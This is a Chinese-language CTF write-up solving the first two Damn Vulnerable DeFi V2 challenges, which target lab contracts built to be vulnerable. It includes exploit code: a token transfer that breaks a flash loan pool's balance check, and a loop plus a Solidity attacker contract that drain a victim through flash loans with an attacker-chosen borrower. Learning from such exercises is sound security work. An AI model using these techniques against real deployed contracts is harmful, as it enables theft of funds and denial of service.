Damn Vulnerable DeFi V2 题解

Damn Vulnerable DeFi是一个用于学习DeFi漏洞的闯关游戏,它于11月2日发布了V2版本,该版本使用Hardhat + Ethers作为测试环境并更新了4个新关卡,借此机会在此记录我的解题过程。

挑战流程

  1. 克隆仓库并切换到v2.0.0分支
  2. 使用yarn安装Node依赖
  3. test文件夹中存放着对应每个题目的*.challenge.js文件来模拟合约的部署和攻击流程,我们需要补全相关代码来完成指定的攻击以跑通该单元测试(使用yarn run challenge-name来验证挑战是否完成)

1. Unstoppable

该挑战的目标是让一个提供DVT token的闪电贷的功能不可用,合约要求poolBalance要与balanceBefore值一致,所以我们让这里校验失败就会使闪电贷的功能无法正常使用。poolBalance用于跟踪闪电贷资金池通过depositTokens方法存入的token数量,balanceBefore是通过ERC20的balanceOf方法查询到的该闪电贷合约的实际余额,因此我们只需要直接用ERC20的Transfer方法向该合约转一定量的token就可使以上两个变量的值不同步从而完成这个挑战。

修改unstoppable.challenge.js文件来添加利用部分:

1
2
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);

然后运行yarn run unstoppable成功通过本关

2. Naive receiver

挑战2是一个支持借出ETH的闪电贷,每次使用需要1ETH的手续费,且有一个用户部署了一个与使用该闪电贷的合约且该合约有10ETH的余额,我们的目标是清空合约中的10ETH。

该闪电贷合约没有像挑战1中一样调用msg.sender的receive方法来完成借贷与还款流程,而是由调用者通过传参任意指定borrower,加之每次闪电贷需要支付1ETH的手续费,我们可以通过这里的越权来让用户的合约完成10次闪电贷从而达到清空其余额的目的。

1
2
3
4
/** CODE YOUR EXPLOIT HERE */
while(await ethers.provider.getBalance(this.receiver.address) > 0) {
    await this.pool.flashLoan(this.receiver.address, 1);
} 

使用合约在一笔交易内完成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pragma solidity ^0.8.0;

contract AttackerNaiveReceiver {
    constructor(address payable pool, address payable victim) {
        while (victim.balance > 0) {
            (bool success, ) = pool.call(
                abi.encodeWithSignature(
                    "flashLoan(address,uint256)",
                    victim,
                    1
                )
            );
            require(success, "External call failed");
        }
    }
}
1
2
3
/** CODE YOUR EXPLOIT HERE */
const AttackerNaiveFactory = await ethers.getContractFactory('AttackerNaiveReceiver', attacker);
await AttackerNaiveFactory.deploy(this.pool.address, this.receiver.address);